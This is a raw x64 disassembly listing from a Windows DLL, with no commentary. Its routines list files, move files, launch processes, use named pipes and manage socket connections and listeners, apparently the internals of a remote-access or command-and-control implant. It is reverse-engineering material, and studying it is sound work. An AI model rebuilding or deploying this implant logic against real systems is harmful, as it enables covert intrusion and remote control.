lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x60], 0x10
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
lea r11, [rbp - 0x34]
je 0x180010993
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x50]
movzx r9d, word [rsp + 0x56]
movzx r8d, word [rsp + 0x52]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000cb4c
jmp 0x1800109ef
mov eax, dword [rbp - 0x40]
movzx r8d, word [rsp + 0x50]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x52]
mov qword [rsp + 0x48], r11
mov dword [rbp + 0x118], eax
mov eax, dword [rbp - 0x44]
mov dword [rbp + 0x11c], eax
movzx eax, word [rsp + 0x5c]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rbp + 0x118]
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x20], r10d
call fcn.18000cb4c
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180010920
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x60]
call fcn.18000cb48
lea rcx, [rsp + 0x60]
mov ebx, eax
call fcn.18000cbb8
mov r8d, reloc.WS2_32.dll_shutdown
mov rcx, rax
mov edx, ebx
call r14
lea rcx, [rsp + 0x60]
call fcn.18000cac4
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.1800144f8
mov rcx, rax
mov rbx, rax
call fcn.18001bdd0
mov rcx, rbx
call fcn.180019cfc
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180014214
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.180014370
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.180014370
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.18001432c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.18001440c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.18001440c
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x180010b3b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_ntohl
mov edx, eax
call fcn.18000dc84
mov rcx, r14
call fcn.180014308
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov esi, r9d
mov rbp, r8
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.1800111c4
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov rbp, r9
mov esi, r8d
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r9d, 1
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.1800110c8
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rdi, rcx
mov esi, 0x40
mov r15d, r9d
mov ecx, esi
mov r12d, r8d
mov ebx, edx
call fcn.180014214
mov edx, esi
mov rcx, rax
mov rbp, rax
call fcn.180014370
lea rcx, [rsp + 0x70]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.18001432c
lea rcx, [rsp + 0x70]
call fcn.1800143d4
lea rcx, [rsp + 0x70]
movzx r13d, ax
call fcn.1800143d4
lea rcx, [rsp + 0x70]
movzx eax, ax
mov dword [rsp + 0x68], eax
call fcn.18001433c
lea rcx, [rsp + 0x70]
mov r8d, esi
mov rdx, r14
mov dword [rsp + 0x64], eax
call fcn.18001440c
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x60], eax
call fcn.18001433c
xor esi, esi
mov edi, eax
test eax, eax
je 0x180011458
lea rcx, [rsp + 0x70]
mov edx, eax
call fcn.180014370
mov rsi, rax
lea rcx, [rsp + 0x70]
call fcn.180014290
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.18000cb48
mov ecx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], edi
mov r9, rbx
mov ecx, r13d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call fcn.1800114d0
mov rcx, rbp
call fcn.180014308
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rbp - 0x41]
call fcn.18001432c
lea rcx, [rbp - 0x41]
call fcn.18001433c
lea rcx, [rbp - 0x41]
mov ebx, eax
call fcn.180014290
lea rcx, [rbp - 0x41]
mov rsi, rax
call fcn.18000cb48
mov r15d, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, r15d
mov r14d, eax
call fcn.180019ff0
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], r15d
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r15d, r15d
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
lea edx, [r15 + 1]
mov ecx, edi
mov dword [rbp + 0x13], 0x101
mov word [rbp + 0x17], r15w
mov qword [rbp + 0x2f], r15
mov qword [rbp + 0x37], r15
mov qword [rbp + 0x27], r15
mov dword [rsp + 0x20], ebx
call fcn.180018b04
test eax, eax
je 0x180011881
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp - 0x49]
mov rdx, qword [rbp - 0x59]
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x59]
mov r9, rsi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
call fcn.180011af0
lea rcx, [rbp - 0x59]
call fcn.180012938
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x18003f568]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.1800143d4
movzx eax, ax
jmp 0x1800129ad
cmp dword [rbx], eax
jne 0x1800129a9
mov ecx, 1
mov word [rbx + 0x3a], cx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x18001299c
call fcn.180012ecc
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
mov rdi, rcx
mov r14d, r8d
mov ebx, edx
mov esi, 0x3f
lea rcx, [rbp - 0x48]
xor edx, edx
mov r8d, esi
movzx r15d, r9w
mov byte [rbp - 0x49], 0
call fcn.180019ff0
lea rcx, [rbp - 8]
mov r8d, esi
xor edx, edx
mov byte [rbp - 9], 0
call fcn.180019ff0
lea rcx, [rbp - 0x61]
mov r8d, ebx
mov rdx, rdi
call fcn.18001432c
lea rcx, [rbp - 0x61]
call fcn.18001433c
lea rcx, [rbp - 0x61]
mov r12d, eax
call fcn.1800143d4
lea rcx, [rbp - 0x61]
movzx r13d, ax
call fcn.1800143d4
mov ebx, 0x40
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x61]
mov r8d, ebx
movzx esi, ax
call fcn.18001440c
test eax, eax
je 0x180012aec
lea rdx, [rbp - 9]
lea rcx, [rbp - 0x61]
mov r8d, ebx
call fcn.18001440c
test eax, eax
je 0x180012aec
neg r14d
sbb edi, edi
and edi, 0x20000
xor ebx, ebx
lea rdx, [rbp - 0x69]
lea rcx, [rbp - 0x49]
mov r8d, edi
call fcn.180012b9c
test eax, eax
jne 0x180012ac4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x180012a8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000dc84
jmp 0x180012aec
test esi, esi
je 0x180012ad3
mov rcx, qword [rbp - 0x69]
mov edx, esi
call fcn.180012cc4
mov rcx, qword [rbp - 0x69]
lea r9, [rbp - 9]
mov r8d, r13d
mov edx, r12d
mov word [rsp + 0x20], r15w
call fcn.180012c38
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x18003f568]
mov rdi, rcx
lea rcx, [rsp + 0x30]
mov edx, 0x8000
call fcn.18000cae8
jmp 0x180012b55
mov r9d, dword [rbx + 0x3c]
mov r8d, dword [rbx]
lea rax, [rbx + 0x46]
lea rdx, str._d_t_d_t_s_n
mov qword [rsp + 0x20], rax
call fcn.18000cb4c
mov rbx, qword [rbx + 0x30]
lea rcx, [rsp + 0x30]
test rbx, rbx
jne 0x180012b35
call fcn.18000cb48
lea rcx, [rsp + 0x30]
mov ebx, eax
call fcn.18000cbb8
mov r8d, reloc.WS2_32.dll_sendto
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x30]
call fcn.18000cac4
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
lea r9, [0x18003f590]
xor edx, edx
mov rcx, r9
cmp dword [rcx + 0x48], 1
jne 0x18001314b
cmp dword [rcx], eax
je 0x18001315f
lea r8, [0x180040490]
add rcx, 0x60
inc edx
cmp rcx, r8
jge 0x18001317c
jmp 0x180013141
movsxd rax, edx
mov r8d, 0xa
lea rcx, [rax + rax*2]
shl rcx, 5
mov edx, dword [rcx + r9 + 0x58]
mov rcx, qword [rcx + r9 + 0x50]
call rbx
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
cmp qword [0x18003f580], 0
mov rdi, r8
mov r14d, edx
mov r12, rcx
jne 0x1800131cb
mov ecx, 4
call fcn.180018718
mov ecx, eax
call fcn.180019d3c
mov qword [0x18003f580], rax
mov r13d, dword [r12]
sub r14d, 4
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_ntohl]
xor ebp, ebp
lea rbx, [0x18003f5b0]
mov esi, eax
lea rdx, [0x18003f590]
cmp dword [rbx - 0x20], esi
jne 0x1800132b6
cmp dword [rbx + 0x28], 1
jne 0x1800132b6
movsxd rax, ebp
test r14d, r14d
jle 0x180013222
lea r15, [rdx + 8]
lea rcx, [rax + rax*2]
mov r8d, r14d
shl rcx, 5
lea rdx, [r12 + 4]
add r15, rcx
jmp 0x180013236
lea r15, [rax + rax*2]
xor r8d, r8d
shl r15, 5
add r15, 8
add r15, rdx
xor edx, edx
mov rcx, r15
call qword [rbx]
test eax, eax
je 0x1800132c6
mov rax, qword [0x18003f580]
mov edx, 0x493e0
mov rcx, r15
mov dword [rax], r13d
call qword [rbx + 0x18]
test eax, eax
je 0x18001327d
mov ecx, 4
call fcn.180018718
mov rdx, qword [0x18003f580]
mov rcx, r15
lea r8d, [rax - 4]
add rdx, 4
call qword [rbx - 8]
jmp 0x180013280
or eax, 0xffffffff
test eax, eax
jle 0x180013298
lea edx, [rax + 4]
mov rcx, qword [0x18003f580]
mov r8d, listen
call rdi
jmp 0x1800132af
jne 0x1800132a1
mov edx, 4
jmp 0x180013287
test eax, eax
jns 0x1800132af
mov rdx, rdi
mov ecx, esi
call fcn.18001357c
lea rdx, [0x18003f590]
inc ebp
add rbx, 0x60
cmp ebp, 0x28
jge 0x1800132d0
jmp 0x1800131ee
mov rdx, rdi
mov ecx, esi
call fcn.18001357c
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, r8
call qword [sym.imp.WS2_32.dll_ntohl]
mov rdx, rbx
mov ecx, eax
add rsp, 0x20
pop rbx
jmp fcn.18001357c
mov rdx, r8
jmp 0x1800137e8
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov r14, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [rax + 0x3a98]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jae 0x180013885
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800138be
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x18001386e
mov edx, 0x2710
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x180013879
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, edi
jb 0x18001381e
jmp 0x180013889
mov rbx, qword [rbp + 0x77]
cmp rbx, 0xffffffffffffffff
jne 0x1800138be
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x79
jne 0x1800138a7
lea ecx, [rbx + 5]
call fcn.18000dd50
jmp 0x180013965
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000dc84
jmp 0x180013965
lea rdx, [rbp + 0x77]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
mov dword [rbp + 0x77], 2
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x1800138f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_sendto
mov edx, eax
call fcn.18000dc84
jmp 0x180013953
lea rcx, [rbp + 7]
mov rdx, rbx
call fcn.180013684
mov r8, r14
mov rcx, qword [rax]
mov rdx, rax
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x21], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 9], rax
mov rax, qword [rdx + 0x38]
mov qword [rbp - 0x11], rcx
lea rcx, [rbp - 0x39]
mov edx, 0x1bd
mov qword [rbp - 1], rax
call fcn.1800133d4
test eax, eax
jne 0x180013965
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
mov r14, r8
mov ebx, edx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 9]
mov r8d, ebx
mov rdx, rdi
lea esi, [rax + 0x3a98]
call fcn.18001432c
lea rcx, [rbp - 9]
call fcn.1800143d4
lea rcx, [rbp - 9]
movzx ebx, ax
call fcn.180014290
mov rdi, rax
call fcn.18000de78
jmp 0x180013af8
mov edx, ebx
mov rcx, rdi
call fcn.18000f5f4
cmp rax, 0xffffffffffffffff
jne 0x180013b31
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, esi
jb 0x180013add
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, 0x44
mov edx, eax
call fcn.18000dc84
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp + 0xf]
mov rdx, rax
call fcn.180013c48
bts ebx, 0x14
mov rcx, qword [rax]
mov r8, rax
mov edx, ebx
mov qword [rbp - 0x49], rcx
mov rcx, qword [rax + 8]
mov qword [rbp - 0x41], rcx
mov rcx, qword [rax + 0x10]
mov qword [rbp - 0x39], rcx
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x31], rcx
mov rcx, qword [rax + 0x20]
mov qword [rbp - 0x29], rcx
mov rcx, qword [rax + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x19], rax
mov rax, qword [r8 + 0x38]
mov qword [rbp - 0x21], rcx
lea rcx, [rbp - 0x49]
mov r8, r14
mov qword [rbp - 0x11], rax
call fcn.1800133d4
jmp 0x180013b14
push rbx
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x180040490]
call qword [sym.imp.WS2_32.dll_ntohl]
jmp 0x18001464f
cmp dword [rbx + 4], 0
je 0x18001464b
cmp eax, dword [rbx]
jne 0x18001464b
cmp dword [rbx + 0x10], 2
je 0x18001464b
and dword [rbx + 4], 0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180014637
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rdi, rcx
mov ecx, dword [rcx]
mov r12d, 1
mov rsi, r8
mov ebx, edx
mov dword [rbp + 0x378], ecx
mov dword [rbp + 0x370], r12d
lea r13d, [r12 + 3]
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rdi + r13]
sub ebx, 6
mov r14d, eax
call qword [sym.imp.WS2_32.dll_ntohs]
lea rdx, [r13 + 2]
lea rcx, [rsp + 0x30]
movzx r15d, ax
mov eax, 0x3ff
cmp ebx, eax
cmovge ebx, eax
add rdx, rdi
movsxd rbx, ebx
mov r8, rbx
call fcn.18001a330
mov byte [rsp + rbx + 0x30], 0
call fcn.18000de78
mov edx, r12d
xor r8d, r8d
lea r12d, [rdx + 1]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
or rdi, 0xffffffffffffffff
mov rbx, rax
cmp rax, rdi
jne 0x18001471f
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x378]
mov r8d, r13d
mov edx, r13d
call rsi
jmp 0x1800147ae
lea rcx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x180014734
mov rcx, rbx
jmp 0x180014705
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001a330
movzx ecx, r15w
mov word [rsp + 0x20], r12w
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp + 0x370]
mov edx, 0x8004667e
mov rcx, rbx
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, edi
je 0x180014705
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x18001479d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x18001472f
mov r8d, 0x7530
mov edx, r14d
mov rcx, rbx
call fcn.1800145dc
mov rbx, qword [rsp + 0x480]
add rsp, 0x430
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x430
mov rbx, rcx
mov ecx, dword [rcx]
mov rsi, r8
mov dword [rax + 0x10], ecx
mov dword [rax + 8], 1
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [rbx + 4]
mov ebp, eax
call qword [sym.imp.WS2_32.dll_ntohs]
call fcn.18000de78
xor r8d, r8d
lea r14d, [r8 + 2]
mov edx, r14d
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180014844
or rcx, rax
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, 4
lea rcx, [rsp + 0x458]
mov r8d, edx
call rsi
jmp 0x18001488c
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
mov qword [rsp + 0x20], r14
call qword [sym.imp.WS2_32.dll_bind]
mov rcx, rbx
test eax, eax
js 0x18001482a
lea r8, [rsp + 0x450]
mov edx, 0x8004667e
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov rcx, rbx
cmp eax, 0xffffffff
je 0x18001482a
mov r8d, 0x7530
mov edx, ebp
call fcn.1800145fc
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
lea rcx, [rax - 0x28]
mov rdi, r8
call fcn.18001433c
lea rcx, [rsp + 0x30]
mov ebp, eax
call fcn.1800143d4
mov r8d, 1
movzx ebx, ax
xor ecx, ecx
mov edx, ebx
call fcn.180014bd4
cmp rax, 0xffffffffffffffff
jne 0x1800148f8
lea edx, [rax + 5]
mov rcx, rsi
mov r8d, edx
call rdi
jmp 0x18001491a
mov r9d, 1
mov r8d, 0x2bf20
mov edx, ebp
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.18001453c
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x180040490]
mov rdi, rcx
mov ecx, dword [rcx]
mov esi, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
jmp 0x18001497a
cmp dword [rbx + 4], 1
jne 0x180014976
cmp ebp, dword [rbx]
jne 0x180014976
lea r8d, [rsi - 4]
lea rdx, [rdi + 4]
mov rcx, rbx
call fcn.180015358
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x18001495c
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x430
mov rsi, qword [0x180040490]
mov r14, rcx
mov ecx, dword [rcx]
mov ebp, edx
call qword [sym.imp.WS2_32.dll_ntohl]
movzx ecx, word [r14 + 4]
mov r15d, eax
call qword [sym.imp.WS2_32.dll_ntohs]
mov ecx, dword [r14 + 6]
add r14, 0xa
sub ebp, 0xa
movzx r12d, ax
call qword [sym.imp.WS2_32.dll_ntohl]
lea rcx, [rsp + 0x30]
mov rdx, r14
movsxd rdi, eax
mov eax, 0x3ff
cmp ebp, eax
mov r8, rdi
cmovge ebp, eax
call fcn.18001a330
add r14, rdi
sub ebp, edi
mov byte [rsp + rdi + 0x30], 0
jmp 0x180014a3e
cmp dword [rsi + 4], 1
jne 0x180014a3a
cmp r15d, dword [rsi]
jne 0x180014a3a
lea rax, [rsp + 0x30]
mov r9d, r12d
mov r8d, ebp
mov rdx, r14
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.180015464
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x180014a14
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.18001432c
lea rcx, [rsp + 0x30]
call fcn.1800143d4
movzx ecx, ax
movzx ebx, ax
call fcn.180014ca8
test eax, eax
jne 0x180014ae6
movzx ebx, bx
lea r8d, [rax + 0xa]
mov ecx, edi
mov edx, ebx
call fcn.180014bd4
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180014ada
call fcn.180014cd8
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.18001453c
jmp 0x180014ae6
mov edx, ebx
mov ecx, shutdown
call fcn.18000dc84
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x180040490]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
call fcn.1800143d4
xor edx, edx
movzx ecx, ax
jmp 0x180014b4a
cmp dword [rbx + 4], edx
je 0x180014b46
cmp dword [rbx + 0x10], 2
jne 0x180014b35
movzx eax, cx
cmp dword [rbx + 0x14], eax
je 0x180014b43
cmp dword [rbx + 0x10], 3
jne 0x180014b46
movzx eax, cx
cmp dword [rbx + 0x14], eax
jne 0x180014b46
mov dword [rbx + 4], edx
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180014b22
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.18001432c
lea rcx, [rsp + 0x30]
call fcn.1800143d4
mov r8d, 0xa
xor ecx, ecx
movzx ebx, ax
mov edx, ebx
call fcn.180014bd4
